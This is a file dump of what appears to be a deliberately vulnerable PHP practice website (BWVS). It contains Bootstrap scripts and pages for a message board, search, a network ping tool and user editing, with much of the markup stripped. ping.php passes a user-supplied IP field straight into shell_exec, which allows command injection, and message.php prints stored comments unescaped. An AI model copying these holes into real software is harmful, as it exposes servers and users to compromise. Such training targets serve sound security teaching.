document.documentElement&&!f.closest(".navbar-nav").length&&a(''}),b.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),b.prototype.constructor=b,b.prototype.getDefaults=function(){return b.DEFAULTS},b.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(".popover-title")[this.options.html?"html":"text"](b),a.find(".popover-content")[this.options.html?"string"==typeof c?"html":"append":"text"](c),a.removeClass("fade top bottom left right in"),a.find(".popover-title").html()||a.find(".popover-title").hide()},b.prototype.hasContent=function(){return this.getTitle()||this.getContent()},b.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr("data-content")||("function"==typeof b.content?b.content.call(a[0]):b.content)},b.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")},b.prototype.tip=function(){return this.$tip||(this.$tip=a(this.options.template)),this.$tip};var c=a.fn.popover;a.fn.popover=function(c){return this.each(function(){var d=a(this),e=d.data("bs.popover"),f="object"==typeof c&&c;(e||"destroy"!=c)&&(e||d.data("bs.popover",e=new b(this,f)),"string"==typeof c&&e[c]())})},a.fn.popover.Constructor=b,a.fn.popover.noConflict=function(){return a.fn.popover=c,this}}(jQuery),+function(a){"use strict";function b(c,d){var e,f=a.proxy(this.process,this);this.$element=a(a(c).is("body")?window:c),this.$body=a("body"),this.$scrollElement=this.$element.on("scroll.bs.scroll-spy.data-api",f),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||(e=a(c).attr("href"))&&e.replace(/.*(?=#[^\s]+$)/,"")||"")+" .nav li > a",this.offsets=a([]),this.targets=a([]),this.activeTarget=null,this.refresh(),this.process()}b.DEFAULTS={offset:10},b.prototype.refresh=function(){var b=this.$element[0]==window?"offset":"position";this.offsets=a([]),this.targets=a([]);{var c=this;this.$body.find(this.selector).map(function(){var d=a(this),e=d.data("target")||d.attr("href"),f=/^#./.test(e)&&a(e);return f&&f.length&&f.is(":visible")&&[[f[b]().top+(!a.isWindow(c.$scrollElement.get(0))&&c.$scrollElement.scrollTop()),e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){c.offsets.push(this[0]),c.targets.push(this[1])})}},b.prototype.process=function(){var a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.$scrollElement[0].scrollHeight||this.$body[0].scrollHeight,d=c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(b>=d)return g!=(a=f.last()[0])&&this.activate(a);if(g&&b<=e[0])return g!=(a=f[0])&&this.activate(a);for(a=e.length;a--;)g!=f[a]&&b>=e[a]&&(!e[a+1]||b<=e[a+1])&&this.activate(f[a])},b.prototype.activate=function(b){this.activeTarget=b,a(this.selector).parentsUntil(this.options.target,".active").removeClass("active");var c=this.selector+'[data-target="'+b+'"],'+this.selector+'[href="'+b+'"]',d=a(c).parents("li").addClass("active");d.parent(".dropdown-menu").length&&(d=d.closest("li.dropdown").addClass("active")),d.trigger("activate.bs.scrollspy")};var c=a.fn.scrollspy;a.fn.scrollspy=function(c){return this.each(function(){var d=a(this),e=d.data("bs.scrollspy"),f="object"==typeof c&&c;e||d.data("bs.scrollspy",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.scrollspy.Constructor=b,a.fn.scrollspy.noConflict=function(){return a.fn.scrollspy=c,this},a(window).on("load",function(){a('[data-spy="scroll"]').each(function(){var b=a(this);b.scrollspy(b.data())})})}(jQuery),+function(a){"use strict";var b=function(b){this.element=a(b)};b.prototype.show=function(){var b=this.element,c=b.closest("ul:not(.dropdown-menu)"),d=b.data("target");if(d||(d=b.attr("href"),d=d&&d.replace(/.*(?=#[^\s]*$)/,"")),!b.parent("li").hasClass("active")){var e=c.find(".active:last a")[0],f=a.Event("show.bs.tab",{relatedTarget:e});if(b.trigger(f),!f.isDefaultPrevented()){var g=a(d);this.activate(b.parent("li"),c),this.activate(g,g.parent(),function(){b.trigger({type:"shown.bs.tab",relatedTarget:e})})}}},b.prototype.activate=function(b,c,d){function e(){f.removeClass("active").find("> .dropdown-menu > .active").removeClass("active"),b.addClass("active"),g?(b[0].offsetWidth,b.addClass("in")):b.removeClass("fade"),b.parent(".dropdown-menu")&&b.closest("li.dropdown").addClass("active"),d&&d()}var f=c.find("> .active"),g=d&&a.support.transition&&f.hasClass("fade");g?f.one(a.support.transition.end,e).emulateTransitionEnd(150):e(),f.removeClass("in")};var c=a.fn.tab;a.fn.tab=function(c){return this.each(function(){var d=a(this),e=d.data("bs.tab");e||d.data("bs.tab",e=new b(this)),"string"==typeof c&&e[c]()})},a.fn.tab.Constructor=b,a.fn.tab.noConflict=function(){return a.fn.tab=c,this},a(document).on("click.bs.tab.data-api",'[data-toggle="tab"], [data-toggle="pill"]',function(b){b.preventDefault(),a(this).tab("show")})}(jQuery),+function(a){"use strict";var b=function(c,d){this.options=a.extend({},b.DEFAULTS,d),this.$window=a(window).on("scroll.bs.affix.data-api",a.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(c),this.affixed=this.unpin=this.pinnedOffset=null,this.checkPosition()};b.RESET="affix affix-top affix-bottom",b.DEFAULTS={offset:0},b.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(b.RESET).addClass("affix");var a=this.$window.scrollTop(),c=this.$element.offset();return this.pinnedOffset=c.top-a},b.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},b.prototype.checkPosition=function(){if(this.$element.is(":visible")){var c=a(document).height(),d=this.$window.scrollTop(),e=this.$element.offset(),f=this.options.offset,g=f.top,h=f.bottom;"top"==this.affixed&&(e.top+=d),"object"!=typeof f&&(h=g=f),"function"==typeof g&&(g=f.top(this.$element)),"function"==typeof h&&(h=f.bottom(this.$element));var i=null!=this.unpin&&d+this.unpin<=e.top?!1:null!=h&&e.top+this.$element.height()>=c-h?"bottom":null!=g&&g>=d?"top":!1;if(this.affixed!==i){this.unpin&&this.$element.css("top","");var j="affix"+(i?"-"+i:""),k=a.Event(j+".bs.affix");this.$element.trigger(k),k.isDefaultPrevented()||(this.affixed=i,this.unpin="bottom"==i?this.getPinnedOffset():null,this.$element.removeClass(b.RESET).addClass(j).trigger(a.Event(j.replace("affix","affixed"))),"bottom"==i&&this.$element.offset({top:c-h-this.$element.height()}))}}};var c=a.fn.affix;a.fn.affix=function(c){return this.each(function(){var d=a(this),e=d.data("bs.affix"),f="object"==typeof c&&c;e||d.data("bs.affix",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.affix.Constructor=b,a.fn.affix.noConflict=function(){return a.fn.affix=c,this},a(window).on("load",function(){a('[data-spy="affix"]').each(function(){var b=a(this),c=b.data();c.offset=c.offset||{},c.offsetBottom&&(c.offset.bottom=c.offsetBottom),c.offsetTop&&(c.offset.top=c.offsetTop),b.affix(c)})})}(jQuery); -------------------------------------------------------------------------------- /js/bootswatch.js: -------------------------------------------------------------------------------- 1 | $('[data-toggle="tooltip"]').tooltip(); -------------------------------------------------------------------------------- /js/bsa.js: -------------------------------------------------------------------------------- 1 | (function(){ 2 | var bsa = document.createElement('script'); 3 | bsa.type = 'text/javascript'; 4 | bsa.async = true; 5 | bsa.src = 'http://s3.buysellads.com/ac/bsa.js'; 6 | (document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa); 7 | })(); 8 | -------------------------------------------------------------------------------- /message.php: -------------------------------------------------------------------------------- 1 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | '; 27 | echo ''; 28 | echo ''; 29 | echo ''; 30 | echo ''; 31 | echo ''; 32 | } 33 | ?> 34 |
IDUserTimeMessage
'.$html['mes_id'].''.$html['user_name'].''.$html['mes_time'].''.$html['comment_text'].'
35 |
36 | 39 |
40 |
41 | 42 |
43 |
44 | 45 |         46 |      47 |





48 |
49 | 50 |
51 |
52 |
53 |
54 |
55 | -------------------------------------------------------------------------------- /messageSub.php: -------------------------------------------------------------------------------- 1 | alert("留言成功!"); window.location='.'\''.'./message.php'.'\''.''; 16 | }else{ 17 | echo ''; 18 | } 19 | }else{ 20 | not_find($_SERVER['PHP_SELF']); 21 | } 22 | ?> 23 | -------------------------------------------------------------------------------- /phpinfo.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /ping.php: -------------------------------------------------------------------------------- 1 | "; 6 | echo "

尊敬的:".$_SESSION['user_name']."
你好!

"; 7 | echo "

你 没 有 使 用 此 功 能 的 权 限!

"; 8 | echo "

如有需要请在留言区留言!

"; 9 | echo "
"; 10 | ?> 11 |
12 | 13 |
14 | "; 18 | echo "

尊敬的管理员:".$_SESSION['admin'].",您好!

"; 19 | echo "

欢 迎 使 用 网 络 测 试 功 能!

"; 20 | echo ""; 21 | $IP = @$_POST['IP']; 22 | if(stristr(php_uname('s'),'Windows NT')){ 23 | $com = "ping ".$IP; 24 | $result = shell_exec($com); 25 | }else{ 26 | $com = "ping -c 4".$IP; 27 | $result = shell_exec($com); 28 | } 29 | ?> 30 |
31 |
32 | 33 |
34 | 35 |
36 |
37 |
38 |
39 | 				
42 | 				
43 |
44 |
45 | 46 | alert("抱歉,请您先登录!"); window.location='.'\''.'./user/login.php'.'\''.''; 51 | } 52 | ?> -------------------------------------------------------------------------------- /search.php: -------------------------------------------------------------------------------- 1 | 11 |
12 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | '; 32 | echo ''; 33 | echo ''; 34 | echo ''; 35 | echo ''; 36 | echo ''; 37 | } 38 | if (isset($_SESSION['user_name'])) 39 | {?> 40 | 41 |
IDUserMessageTime
'.htmlspecialchars($html['mes_id']).''.htmlspecialchars($html['user_name']).''.htmlspecialchars($html['message']).''.htmlspecialchars($html['time']).'
42 |
43 |
44 |
45 | 46 |
47 |
48 | 49 |         50 |      51 |





52 | 53 |
54 | -------------------------------------------------------------------------------- /user/edit.php: -------------------------------------------------------------------------------- 1 | 21 | 22 |
23 | 24 |
25 | 26 |
27 | 28 |
29 |
30 |
31 |
32 |
33 | 34 |
35 | 36 |
37 | 38 |
39 |
40 |
41 | 42 |
43 | 44 | 45 |
46 |
47 |
48 |
49 | 65 |
66 | 67 |
68 | 69 |
70 | 71 | 72 |
73 |
74 |
75 | 76 |
77 | 78 | 79 |
80 |
81 |
82 | -------------------------------------------------------------------------------- /user/favicon/bg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bugku/BWVS/0b09e6f24ee4e40d771469187143dba92fbe592b/user/favicon/bg.png -------------------------------------------------------------------------------- /user/logCheck.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /插入题目.php: -------------------------------------------------------------------------------- 1 | 127 | 128 | --------------------------------------------------------------------------------